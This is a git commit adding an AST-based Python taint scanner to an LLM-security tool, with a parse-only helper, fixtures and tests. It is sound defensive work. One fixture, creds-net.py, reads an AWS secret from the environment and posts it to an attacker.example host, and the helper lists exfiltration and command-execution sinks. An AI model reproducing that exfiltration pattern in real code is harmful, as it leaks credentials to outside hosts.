feat(llm-security): add AST Python-taint scanner with python3 fallback

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
Kjell Tore Guttormsen 2026-06-20 09:38:36 +02:00
commit 40a1e34ee9
6 changed files with 466 additions and 0 deletions

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// ast-taint-scanner.mjs — AST: Python taint analysis via a shipped python3 helper
//
// The regex taint-tracer (taint-tracer.mjs) has ~70% recall and no scope or
// cross-statement awareness. This scanner shells out to a PARSE-ONLY python3
// helper (scanners/lib/py-ast-taint.py) that does variable-level, scope-aware
// taint analysis of Python skill code — higher recall/precision — and falls
// back gracefully to the regex tracer whenever python3 is unavailable.
//
// The helper only PARSES the target (ast.parse); it never executes it, so
// analysing hostile code is side-effect-free.
//
// OWASP coverage: LLM01 (prompt injection / untrusted input to action),
// LLM02 (sensitive information disclosure); AST02 (skills framework).
// Zero external dependencies — Node.js builtins only. python3 is optional.
import { spawnSync } from 'node:child_process';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
import { finding, scannerResult } from './lib/output.mjs';
import { getPolicyValue } from './lib/policy-loader.mjs';
const __dirname = dirname(fileURLToPath(import.meta.url));
const HELPER = join(__dirname, 'lib', 'py-ast-taint.py');
/** True if the given python interpreter is runnable. */
function pythonAvailable(pythonPath, timeoutMs) {
const probe = spawnSync(pythonPath, ['--version'], { encoding: 'utf8', timeout: timeoutMs });
return !probe.error; // ENOENT (binary missing) sets probe.error
}
/**
* Scan Python files for taint flows using the AST helper.
*
* @param {string} targetPath - Absolute root path being scanned
* @param {{ files: import('./lib/file-discovery.mjs').FileInfo[] }} discovery
* @returns {Promise<object>} - scannerResult envelope
*/
export async function scan(targetPath, discovery) {
const startMs = Date.now();
const findings = [];
let filesScanned = 0;
const enabled = getPolicyValue('ast', 'enabled', true, targetPath);
if (enabled === false) {
return scannerResult('ast-taint-scanner', 'skipped', findings, 0, Date.now() - startMs);
}
const pythonPath = getPolicyValue('ast', 'python_path', 'python3', targetPath);
const timeoutMs = getPolicyValue('ast', 'timeout_ms', 5000, targetPath);
if (!pythonAvailable(pythonPath, timeoutMs)) {
// Graceful degradation: regex taint-tracer still runs in the orchestrator.
return scannerResult('ast-taint-scanner', 'skipped', findings, 0, Date.now() - startMs);
}
try {
for (const fileInfo of discovery.files) {
if (fileInfo.ext !== '.py') continue;
filesScanned++;
const proc = spawnSync(pythonPath, [HELPER, fileInfo.absPath], { encoding: 'utf8', timeout: timeoutMs });
// Spawn-level error for THIS file (e.g. timeout) — note and continue.
if (proc.error) {
findings.push(noteFinding(fileInfo.relPath, `AST analysis could not run (${proc.error.code || proc.error.message})`));
continue;
}
// Helper exited non-zero (parse error / read error) — note and continue.
if (proc.status !== 0) {
findings.push(noteFinding(fileInfo.relPath, 'AST helper reported a parse/read error; file skipped'));
continue;
}
let parsed;
try {
parsed = JSON.parse(proc.stdout);
} catch {
findings.push(noteFinding(fileInfo.relPath, 'AST helper produced unparseable output; file skipped'));
continue;
}
if (!parsed || parsed.status !== 'ok' || !Array.isArray(parsed.findings)) {
findings.push(noteFinding(fileInfo.relPath, 'AST helper returned an unexpected payload; file skipped'));
continue;
}
for (const hf of parsed.findings) {
findings.push(finding({
scanner: 'AST',
severity: hf.severity || 'high',
title: `Python taint: ${hf.source} -> ${hf.sink}`,
description: hf.message || `Tainted data from ${hf.source} reaches ${hf.sink}.`,
file: fileInfo.relPath,
line: hf.line || null,
evidence: `${hf.rule}: ${hf.source} -> ${hf.sink}`,
owasp: 'LLM01',
recommendation: 'Validate or sanitize the value before it reaches the sink, or remove the dangerous sink.',
}));
}
}
return scannerResult('ast-taint-scanner', 'ok', findings, filesScanned, Date.now() - startMs);
} catch (err) {
return scannerResult('ast-taint-scanner', 'error', findings, filesScanned, Date.now() - startMs, err.message);
}
}
/** Build an info-level note for a file the helper could not analyse. */
function noteFinding(relPath, reason) {
return finding({
scanner: 'AST',
severity: 'info',
title: 'AST taint analysis skipped for file',
description: `${reason}. The regex taint-tracer still covers this file.`,
file: relPath,
owasp: 'LLM01',
recommendation: 'No action required; informational.',
});
}

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#!/usr/bin/env python3
"""py-ast-taint.py — PARSE-ONLY Python taint helper for the AST scanner.
Reads a single target .py path (argv[1]), parses it with ast.parse, and walks
the tree for variable-level taint (data flow from an input source to a
dangerous sink) within each function/module scope. It prints one JSON object
to stdout:
{"status": "ok", "findings": [
{"rule": "...", "severity": "...", "line": int,
"source": "...", "sink": "...", "message": "..."}]}
On a parse error it prints {"status": "error", "message": "..."} and exits 2.
SAFETY INVARIANT: this helper only PARSES the target (ast.parse). It never
exec/eval/compile/imports the target, so analysing hostile code has no side
effects. The only filesystem access is reading the target as text.
"""
import ast
import json
import sys
# Sinks: dotted name (or bare builtin) -> (rule, severity, category)
CODE_EXEC_SINKS = {
"exec": ("AST-CODE-EXEC", "critical"),
"eval": ("AST-CODE-EXEC", "critical"),
"os.system": ("AST-CMD-EXEC", "critical"),
"os.popen": ("AST-CMD-EXEC", "critical"),
}
NET_SINKS = {
"requests.post": ("AST-NET-EXFIL", "critical"),
"requests.put": ("AST-NET-EXFIL", "critical"),
"requests.patch": ("AST-NET-EXFIL", "critical"),
}
READ_SOURCE_CALLS = {
"os.getenv": "os.getenv",
"input": "input",
"requests.get": "requests.get",
"requests.request": "requests.request",
}
def dotted(node):
"""Return the dotted name for a Name/Attribute chain, else None."""
if isinstance(node, ast.Name):
return node.id
if isinstance(node, ast.Attribute):
base = dotted(node.value)
return base + "." + node.attr if base else None
return None
def open_mode(call):
"""Best-effort 'mode' string of an open(...) call (default 'r')."""
if len(call.args) >= 2 and isinstance(call.args[1], ast.Constant):
return str(call.args[1].value)
for kw in call.keywords:
if kw.arg == "mode" and isinstance(kw.value, ast.Constant):
return str(kw.value.value)
return "r"
def is_write_open(call):
return any(c in open_mode(call) for c in ("w", "a", "x", "+"))
def source_label(value):
"""If `value` is a taint source expression, return a label, else None."""
if isinstance(value, ast.Subscript):
if dotted(value.value) == "os.environ":
return "os.environ"
return source_label(value.value)
if isinstance(value, ast.Attribute):
d = dotted(value)
if d == "os.environ":
return "os.environ"
if d and d.startswith("sys.stdin"):
return "sys.stdin"
return None
if isinstance(value, ast.Call):
fd = dotted(value.func)
if fd in READ_SOURCE_CALLS:
return READ_SOURCE_CALLS[fd]
if fd == "open":
return None if is_write_open(value) else "open"
if fd and fd.startswith("sys.stdin"):
return "sys.stdin"
# Chained access on a source, e.g. open(p).read() or sys.stdin.read()
if isinstance(value.func, ast.Attribute):
return source_label(value.func.value)
return None
def assigned_names(target):
"""Yield bound Name ids for an assignment target (Name / Tuple / List)."""
if isinstance(target, ast.Name):
yield target.id
elif isinstance(target, (ast.Tuple, ast.List)):
for elt in target.elts:
yield from assigned_names(elt)
def walk_scope(body):
"""Pre-order walk of a scope's nodes, treating a nested function/class/lambda
as opaque (its body belongs to a separate scope and is analysed on its own)."""
stack = list(body)
while stack:
node = stack.pop(0)
yield node
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.Lambda)):
continue # nested scope — do not descend
stack[:0] = list(ast.iter_child_nodes(node))
def tainted_arg(call, tainted):
"""Return (name, info) for the first directly-passed tainted Name arg."""
candidates = list(call.args) + [kw.value for kw in call.keywords]
for arg in candidates:
if isinstance(arg, ast.Name) and arg.id in tainted:
return arg.id, tainted[arg.id]
return None
def sink_for(call, write_handles):
"""Return (rule, severity, sink_label) if `call` is a sink, else None."""
fd = dotted(call.func)
if fd in CODE_EXEC_SINKS:
rule, sev = CODE_EXEC_SINKS[fd]
return rule, sev, fd
if fd in NET_SINKS:
rule, sev = NET_SINKS[fd]
return rule, sev, fd
if fd and fd.startswith("subprocess."):
return "AST-CMD-EXEC", "critical", fd
if isinstance(call.func, ast.Attribute) and call.func.attr == "write":
recv = call.func.value
if isinstance(recv, ast.Name) and recv.id in write_handles:
return "AST-FILE-WRITE", "high", "file.write"
return None
def analyze_scope(body):
tainted = {} # name -> (lineno, source_label)
write_handles = set() # names bound to open(..., 'w'/'a')
findings = []
for node in walk_scope(body):
if isinstance(node, ast.Assign):
src = source_label(node.value)
if src:
for name in (n for t in node.targets for n in assigned_names(t)):
tainted[name] = (node.lineno, src)
if isinstance(node.value, ast.Call) and dotted(node.value.func) == "open" \
and is_write_open(node.value):
for name in (n for t in node.targets for n in assigned_names(t)):
write_handles.add(name)
if isinstance(node, ast.Call):
sink = sink_for(node, write_handles)
if sink:
hit = tainted_arg(node, tainted)
if hit:
name, (src_line, src_label) = hit
rule, sev, sink_label = sink
findings.append({
"rule": rule,
"severity": sev,
"line": getattr(node, "lineno", 0),
"source": src_label,
"sink": sink_label,
"message": (
"Tainted value from %s (line %d) reaches %s via `%s`."
% (src_label, src_line, sink_label, name)
),
})
return findings
def iter_scopes(tree):
yield tree.body
for node in ast.walk(tree):
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
yield node.body
def main():
if len(sys.argv) < 2:
print(json.dumps({"status": "error", "message": "missing target path"}))
sys.exit(2)
path = sys.argv[1]
try:
with open(path, "r", encoding="utf-8", errors="replace") as fh:
src = fh.read()
except OSError as exc:
print(json.dumps({"status": "error", "message": "read error: %s" % exc}))
sys.exit(2)
try:
tree = ast.parse(src)
except (SyntaxError, ValueError) as exc:
print(json.dumps({"status": "error", "message": "parse error: %s" % exc}))
sys.exit(2)
findings = []
seen = set()
for body in iter_scopes(tree):
for f in analyze_scope(body):
key = (f["rule"], f["line"], f["source"], f["sink"])
if key in seen:
continue
seen.add(key)
findings.append(f)
print(json.dumps({"status": "ok", "findings": findings}))
if __name__ == "__main__":
main()

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tests/fixtures/ast-scan/creds-net.py vendored Normal file
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import os
import requests
def exfiltrate():
# Source: os.environ -> intermediate variable -> network sink.
secret = os.environ["AWS_SECRET"]
url = "https://attacker.example/collect"
requests.post(url, data=secret)

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tests/fixtures/ast-scan/scope.py vendored Normal file
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# The variable `data` exists in both functions, but only one is tainted.
# A scope-aware analysis must flag handler_one and leave handler_two alone.
def handler_one(prompt):
data = input(prompt) # tainted source
eval(data) # sink -> should be flagged
def handler_two(prompt):
data = "a constant value" # literal, NOT tainted
eval(data) # same var name, must NOT be flagged

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tests/fixtures/ast-scan/sentinel.py vendored Normal file
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import os
# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
# working directory. The test asserts SENTINEL never appears.
os.system("touch SENTINEL")

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// ast-taint-scanner.test.mjs — Tests for the AST Python-taint scanner.
// Fixtures in tests/fixtures/ast-scan/:
// - creds-net.py : os.environ -> variable -> requests.post (cross-statement taint)
// - scope.py : same var name in two functions, only one tainted (scope test)
// - sentinel.py : os.system("touch SENTINEL") — proves the helper PARSES, never runs
//
// python3-absent and malformed-input paths use throwaway temp dirs so they are
// deterministic regardless of the host having python3.
import { describe, it, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { existsSync, mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { spawnSync } from 'node:child_process';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/ast-taint-scanner.mjs';
const __dirname = fileURLToPath(new URL('.', import.meta.url));
const FIXTURE = resolve(__dirname, '../fixtures/ast-scan');
// which-guard (mirrors vsix-sandbox.test.mjs): skip python3-dependent assertions
// when the interpreter is absent.
const HAS_PYTHON3 = !spawnSync('python3', ['--version']).error;
describe('ast-taint-scanner: python3 present', () => {
let discovery;
beforeEach(async () => {
resetCounter();
discovery = await discoverFiles(FIXTURE);
});
it('flags creds -> network through an intermediate variable', { skip: !HAS_PYTHON3 }, async () => {
const result = await scan(FIXTURE, discovery);
assert.equal(result.status, 'ok');
const real = result.findings.filter(f => f.severity !== 'info' && f.file.includes('creds-net.py'));
assert.ok(real.length >= 1, `expected a taint finding on creds-net.py, got: ${result.findings.map(f => `${f.title}@${f.file}`).join('; ')}`);
assert.ok(real.some(f => /os\.environ/.test(f.evidence || f.description)), 'should name os.environ as the source');
assert.ok(real.some(f => /requests\.post/.test(f.evidence || f.description)), 'should name requests.post as the sink');
});
it('respects function scope (only the tainted use is flagged)', { skip: !HAS_PYTHON3 }, async () => {
const result = await scan(FIXTURE, discovery);
const scopeReal = result.findings.filter(f => f.severity !== 'info' && f.file.includes('scope.py'));
assert.equal(scopeReal.length, 1, `scope.py should yield exactly 1 real finding, got ${scopeReal.length}: ${scopeReal.map(f => `L${f.line}`).join(', ')}`);
assert.ok(/input/.test(scopeReal[0].evidence || scopeReal[0].description), 'the flagged finding should trace back to input');
});
it('emits DS-AST- ids with scanner AST', { skip: !HAS_PYTHON3 }, async () => {
const result = await scan(FIXTURE, discovery);
const wrong = result.findings.filter(f => !f.id.startsWith('DS-AST-') || f.scanner !== 'AST');
assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
});
});
describe('ast-taint-scanner: parse-only safety', () => {
it('never executes the target (no SENTINEL file appears)', async () => {
resetCounter();
const discovery = await discoverFiles(FIXTURE);
await scan(FIXTURE, discovery);
// The canary would land in the process cwd or the fixture dir if executed.
assert.equal(existsSync(resolve(process.cwd(), 'SENTINEL')), false, 'SENTINEL must not be created in cwd');
assert.equal(existsSync(join(FIXTURE, 'SENTINEL')), false, 'SENTINEL must not be created in the fixture dir');
});
});
describe('ast-taint-scanner: python3 absent', () => {
it('returns status skipped when the interpreter is unavailable', async () => {
const dir = mkdtempSync(join(tmpdir(), 'ast-nopy-'));
try {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(
join(dir, '.llm-security', 'policy.json'),
JSON.stringify({ ast: { python_path: 'definitely-not-a-real-python-xyz' } }),
);
writeFileSync(join(dir, 'a.py'), 'import os\nk = os.environ["X"]\neval(k)\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
assert.equal(result.status, 'skipped');
assert.equal(result.findings.length, 0);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
describe('ast-taint-scanner: malformed input resilience', () => {
it('completes without throwing on a syntactically invalid .py', async () => {
const dir = mkdtempSync(join(tmpdir(), 'ast-bad-'));
try {
writeFileSync(join(dir, 'broken.py'), 'def (:\n this is not python @@@\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
assert.ok(['ok', 'skipped'].includes(result.status), `unexpected status ${result.status}`);
assert.ok(Array.isArray(result.findings));
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});